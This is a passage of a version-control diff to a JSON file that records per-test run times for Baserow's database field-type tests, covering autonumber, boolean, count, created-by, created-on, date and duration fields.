"tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_import_rows_assign_new_values": 0.1469070409948472, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_perm_delete_field_drop_field_sequence": 0.18244541599415243, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_renumber_rows_according_to_views_filters_and_sorts": 0.20777383196400478, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_trash_restore_autonumber_field": 0.16804554100963287, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_undo_redo_create_autonumber_field": 0.232764416054124, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_undo_redo_delete_autonumber_field": 0.22462450002785772, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_undo_redo_update_autonumber_field": 0.2496329160348978, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_update_to_autonumber_create_field_sequence": 0.1816170410020277, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_update_to_other_type_drop_field_sequence": 0.18268316800822504, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_updating_autonumber_field_does_not_change_row_values_once_set": 0.19678366600419395, + "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_alter_boolean_field_column_type": 0.21556754200719297, + "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_boolean_field_adjacent_row": 0.1526211250165943, + "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_boolean_field_default_value": 0.23052183401887305, + "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_get_set_export_serialized_value_boolean_field": 0.06621133399312384, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_can_batch_create_count_field_value": 0.3930865000002086, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_can_batch_update_count_field_value": 0.3702148740121629, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_can_update_count_field_value": 0.37456129101337865, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_convert_count_to_text_field_via_api": 0.3545485840004403, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_create_count_through_field_name": 0.2984040430164896, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_create_count_through_field_with_invalid_linkrowfield": 0.16214704301091842, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_create_count_through_field_with_invalid_linkrowfield_via_api": 0.16896224999800324, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_import_export_tables_with_count_fields": 1.030329332977999, + "tests/baserow/contrib/database/field/test_count_field_type.py::test_update_count_through_field_name": 0.5250991260109004, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_created_by_field": 0.19276654100394808, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_created_by_field_force_create_created_by_column": 0.15613999901688658, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_row_created_by": 0.141152998956386, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_rows_created_by": 0.14118874902487732, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_created_by_field_type_create_via_api": 0.14048537498456426, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_created_by_field_type_sorting": 0.28214133298024535, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_created_by_field_view_aggregation": 0.2873976249829866, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_duplicate_created_by_field": 0.5743365830276161, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_get_set_export_serialized_value_created_by_field": 0.39313579199369997, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_import_export_created_by_field": 0.13408520800294355, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_create_row_created_by": 0.12769879202824086, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_create_rows_created_by": 0.12841999900410883, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_update_row_created_by": 0.12713487396831624, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_update_rows_created_by": 0.1359958759858273, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_trash_restore_created_by_field": 0.35225762499612756, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_update_row_dont_update_created_by": 0.20157795801060274, + "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_update_rows_dont_update_created_by": 0.21746912502567284, "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_and_update_on_values_are_consinstent_when_a_row_is_created_or_edited": 0.19234633399901213, - "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_field_adjacent_row": 0.16882491700016544, - "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_field_type": 0.3050432490008461, + "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_and_update_on_values_are_consistent_when_a_row_is_created_or_edited": 0.13484466701629572, + "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_field_adjacent_row": 0.16956079201190732, + "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_field_type": 0.4321463750093244, "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_created_on_field_type_wrong_timezone": 0.06745614600004046, - "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_import_export_last_modified_field": 0.41673062599966215, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_converting_date_field_value": 0.5079946259993449, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_date_field_adjacent_row": 0.1675221679988681, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_date_field_type": 0.26193420899926423, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_date_field_type_prepare_value": 0.04324804099996982, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_get_group_by_metadata_in_rows_with_date_field": 0.1873059170011402, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_get_set_export_serialized_value_date_field": 0.02716174899978796, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_import_export_date_field": 0.0199349570002596, - "tests/baserow/contrib/database/field/test_date_field_type.py::test_negative_date_field_value": 0.21102312400034862, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected0-field_kwargs0]": 0.19383933400058595, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected1-field_kwargs1]": 0.1741762090005068, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected2-field_kwargs2]": 0.18801704199995584, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected3-field_kwargs3]": 0.17230041699895082, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected4-field_kwargs4]": 0.1842607090002275, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected5-field_kwargs5]": 0.17002912600037234, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected6-field_kwargs6]": 0.19274891700024455, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected7-field_kwargs7]": 0.17418050000014773, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected8-field_kwargs8]": 0.19008404199939832, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected9-field_kwargs9]": 0.17206004100080463, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected0-field_kwargs0]": 0.20645558400065056, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected1-field_kwargs1]": 0.19229179099966132, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected2-field_kwargs2]": 0.21134883500144497, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected3-field_kwargs3]": 0.19669354100005876, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected4-field_kwargs4]": 0.203097999999045, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected5-field_kwargs5]": 0.19283037500099454, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected6-field_kwargs6]": 0.21572358200046438, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected7-field_kwargs7]": 0.1986207910003941, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected8-field_kwargs8]": 0.2179029580001952, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected9-field_kwargs9]": 0.20244479200027854, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[0-d h-0d 0h]": 0.19189895800082013, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[0-h:mm-0:00]": 0.19917412399991008, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-d h-None]": 0.19877920899944002, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-d h:mm-None]": 0.19814675100133172, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-d h:mm:ss-None]": 0.20534787500128004, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-h:mm-None]": 0.1857856670003457, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input0-h:mm-1:01]": 0.18593175100068038, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input1-h:mm--1:01]": 0.20413483399897814, + "tests/baserow/contrib/database/field/test_created_on_field_type.py::test_import_export_last_modified_field": 0.5535357929766178, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_converting_date_field_value": 0.9883405420114286, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_date_field_adjacent_row": 0.1634943329845555, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_date_field_type": 0.3221126669959631, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_date_field_type_prepare_value": 0.07055841703549959, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_get_group_by_metadata_in_rows_with_date_field": 0.15573000101721846, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_get_set_export_serialized_value_date_field": 0.0690148759749718, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_import_export_date_field": 0.05297749998862855, + "tests/baserow/contrib/database/field/test_date_field_type.py::test_negative_date_field_value": 0.22254945899476297, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected0-field_kwargs0]": 0.15687791697564535, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected1-field_kwargs1]": 0.16091100001358427, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected2-field_kwargs2]": 0.15691416698973626, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected3-field_kwargs3]": 0.15669595799408853, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected4-field_kwargs4]": 0.15276020902092569, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected5-field_kwargs5]": 0.17045645797043107, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected6-field_kwargs6]": 0.15739529096754268, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected7-field_kwargs7]": 0.16118087401264347, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected8-field_kwargs8]": 0.16001041699200869, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format[expected9-field_kwargs9]": 0.16471191600430757, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected0-field_kwargs0]": 0.210836999991443, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected1-field_kwargs1]": 0.21240945800673217, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected2-field_kwargs2]": 0.2035079159832094, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected3-field_kwargs3]": 0.20027829200262204, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected4-field_kwargs4]": 0.19645575099275447, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected5-field_kwargs5]": 0.20469537502503954, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected6-field_kwargs6]": 0.20918400003574789, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected7-field_kwargs7]": 0.19676920797792263, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected8-field_kwargs8]": 0.19908745697466657, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_alter_duration_format_can_be_undone[expected9-field_kwargs9]": 0.20648937503574416, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[0-d h-0d 0h]": 0.1748916240176186, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[0-h:mm-0:00]": 0.17204129198216833, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-d h-None]": 0.1760663760069292, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-d h:mm-None]": 0.16967025000485592, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-d h:mm:ss-None]": 0.16733979200944304, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[None-h:mm-None]": 0.16379145902465098, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input0-h:mm-1:01]": 0.17381437501171604, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input1-h:mm--1:01]": 0.17882629201631062, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input1-h:mm:ss-1:01:05]": 0.14243728201836348, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input10-d h mm ss-1d 0:10:00]": 0.1373145430115983, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input10-d h mm ss-1d 3h 10m 00s]": 0.18226108299950283, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input11-d h mm ss--2d 3h 10m 00s]": 0.19833616699906997, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input12-d h mm ss-1d 3h 10m 12s]": 0.18841883299955953, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input13-d h mm ss-1d 0h 10m 00s]": 0.20156637400032196, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input2-h:mm:ss-1:01:05]": 0.18211112400058482, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input10-d h mm ss-1d 3h 10m 00s]": 0.1699675830313936, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input11-d h mm ss--2d 3h 10m 00s]": 0.17530137600260787, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input12-d h mm ss-1d 3h 10m 12s]": 0.16731175099266693, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input13-d h mm ss-1d 0h 10m 00s]": 0.16789508296642452, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input2-h:mm:ss-1:01:05]": 0.18207404101849534, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input2-h:mm:ss.s-1:01:05.5]": 0.1293366738827899, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input3-h:mm:ss.s-1:01:05.5]": 0.19463558299958095, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input3-h:mm:ss.s-1:01:05.5]": 0.18098712502978742, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input3-h:mm:ss.ss-1:01:05.55]": 0.12646945903543383, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input4-h:mm:ss.ss-1:01:05.55]": 0.17956404100004875, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input4-h:mm:ss.ss-1:01:05.55]": 0.1806865409889724, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input4-h:mm:ss.sss-1:01:05.555]": 0.1314234659075737, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input5-d h-1d 2h]": 0.12898495804984123, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input5-h:mm:ss.sss-1:01:05.555]": 0.195859333000044, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input5-h:mm:ss.sss-1:01:05.555]": 0.17364937398815528, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input6-d h:mm-1d 1:02]": 0.12709356390405446, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input6-h:mm:ss.sss--1:01:05.555]": 0.17846608400031982, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input7-d h-1d 2h]": 0.1907022080013121, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input6-h:mm:ss.sss--1:01:05.555]": 0.1762571670114994, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input7-d h-1d 2h]": 0.18509708403144032, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input7-d h:mm:ss-1d 1:02:03]": 0.12718667997978628, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input8-d h mm ss-1d 3:10:00]": 0.1276388840051368, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input8-d h:mm-1d 1:02]": 0.17424483400009194, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input8-d h:mm-1d 1:02]": 0.15904437500284985, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input9-d h mm ss-1d 3:10:12]": 0.132314334041439, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input9-d h:mm:ss-1d 1:02:03]": 0.1933829159997913, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss--2d 3h 10m 00s-dest_format11-dest_value11]": 0.20983954100029223, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss-1d 0h 10m 00s-dest_format13-dest_value13]": 0.20549729100002878, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss-1d 3h 10m 00s-dest_format10-dest_value10]": 0.19718258299963054, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss-1d 3h 10m 12s-dest_format12-dest_value12]": 0.19403383299959387, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h-0d 0h-dest_format15-dest_value15]": 0.21066775100007362, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h-1d 2h-dest_format7-dest_value7]": 0.21106500000041706, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h:mm-1d 1:01-h:mm-None]": 0.1943462500012174, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h:mm-1d 1:02-dest_format8-dest_value8]": 0.2016248749996521, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h:mm:ss-1d 1:02:03-dest_format9-dest_value9]": 0.21918600000026345, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm--1:01-d h-None]": 0.20628446000046097, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm--1:01-dest_format1-dest_value1]": 0.21718116600004578, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm--1:01-invalid-None]": 0.19066450000082114, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm-0:00-dest_format14-dest_value14]": 0.1952411240008587, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm-1:01-dest_format0-dest_value0]": 0.1972443739996379, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss-1:01:05-dest_format2-dest_value2]": 0.2038059169999542, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.s-1:01:05.5-dest_format3-dest_value3]": 0.21382354199977271, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.ss-1:01:05.55-dest_format4-dest_value4]": 0.1896551260006163, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.sss--1:01:05.555-dest_format6-dest_value6]": 0.1880927079992034, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.sss-1:01:05.555-dest_format5-dest_value5]": 0.20470737499999814, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss--111.12s-new_duration_field_value12]": 0.20417579199965985, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss--111m-new_duration_field_value13]": 0.19297924899910868, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss--1d 1h 11m 12s-new_duration_field_value11]": 0.19148991599922738, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_field[user_input9-d h:mm:ss-1d 1:02:03]": 0.21866104096989147, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss--2d 3h 10m 00s-dest_format11-dest_value11]": 0.21025929297320545, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss-1d 0h 10m 00s-dest_format13-dest_value13]": 0.21475025001564063, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss-1d 3h 10m 00s-dest_format10-dest_value10]": 0.21703612498822622, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h mm ss-1d 3h 10m 12s-dest_format12-dest_value12]": 0.2088309160026256, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h-0d 0h-dest_format15-dest_value15]": 0.20914666596218012, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h-1d 2h-dest_format7-dest_value7]": 0.21008008299395442, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h:mm-1d 1:01-h:mm-None]": 0.19708291703136638, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h:mm-1d 1:02-dest_format8-dest_value8]": 0.20596779100014828, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[d h:mm:ss-1d 1:02:03-dest_format9-dest_value9]": 0.205229583021719, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm--1:01-d h-None]": 0.17025575001025572, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm--1:01-dest_format1-dest_value1]": 0.20630654096021317, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm--1:01-invalid-None]": 0.20712212502257898, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm-0:00-dest_format14-dest_value14]": 0.21898466703714803, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm-1:01-dest_format0-dest_value0]": 0.20558854198316112, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss-1:01:05-dest_format2-dest_value2]": 0.21026458402047865, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.s-1:01:05.5-dest_format3-dest_value3]": 0.19957933298428543, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.ss-1:01:05.55-dest_format4-dest_value4]": 0.20448108395794407, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.sss--1:01:05.555-dest_format6-dest_value6]": 0.20456891701905988, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_duration_field_to_text_to_duration_field[h:mm:ss.sss-1:01:05.555-dest_format5-dest_value5]": 0.2131598750129342, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss--111.12s-new_duration_field_value12]": 0.17836616697604768, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss--111m-new_duration_field_value13]": 0.18083920900244266, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss--1d 1h 11m 12s-new_duration_field_value11]": 0.17224345801514573, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss-1d 1:11-new_duration_field_value9]": 0.13631751795765013, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss-1d 1:11.12-new_duration_field_value10]": 0.1487314038677141, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss-1d 1h 11m 12.13s-new_duration_field_value10]": 0.19842020899977797, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss-1d 1h 11m-new_duration_field_value9]": 0.18478249900090304, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss-1d 1h 11m 12.13s-new_duration_field_value10]": 0.17568933399161324, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm ss-1d 1h 11m-new_duration_field_value9]": 0.1817894589912612, "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm-1d 1:12-new_duration_field_value8]": 0.13714172900654376, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm-1d 1h 12m-new_duration_field_value8]": 0.20383870899968315, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h-1d 2h-new_duration_field_value5]": 0.19257166599982156, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h:mm-1d 1:02-new_duration_field_value6]": 0.20132175000071584, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h:mm:ss-1d 1:02:03-new_duration_field_value7]": 0.18993841700012126, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm-1:01-new_duration_field_value0]": 0.19837187400116818, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss-1:01:05-new_duration_field_value1]": 0.18923137499950826, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss.s-1:01:05.5-new_duration_field_value2]": 0.20551787600015814, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss.ss-1:01:05.55-new_duration_field_value3]": 0.18080237500089424, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss.sss-1:01:05.555-new_duration_field_value4]": 0.20681158299976232, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_create_duration_field": 0.1592036249994635, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_create_duration_field_row": 0.1657992500004184, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_create_duration_field_rows": 0.16793291700105328, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_can_be_looked_up": 0.30163262499991106, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_can_be_used_in_formulas": 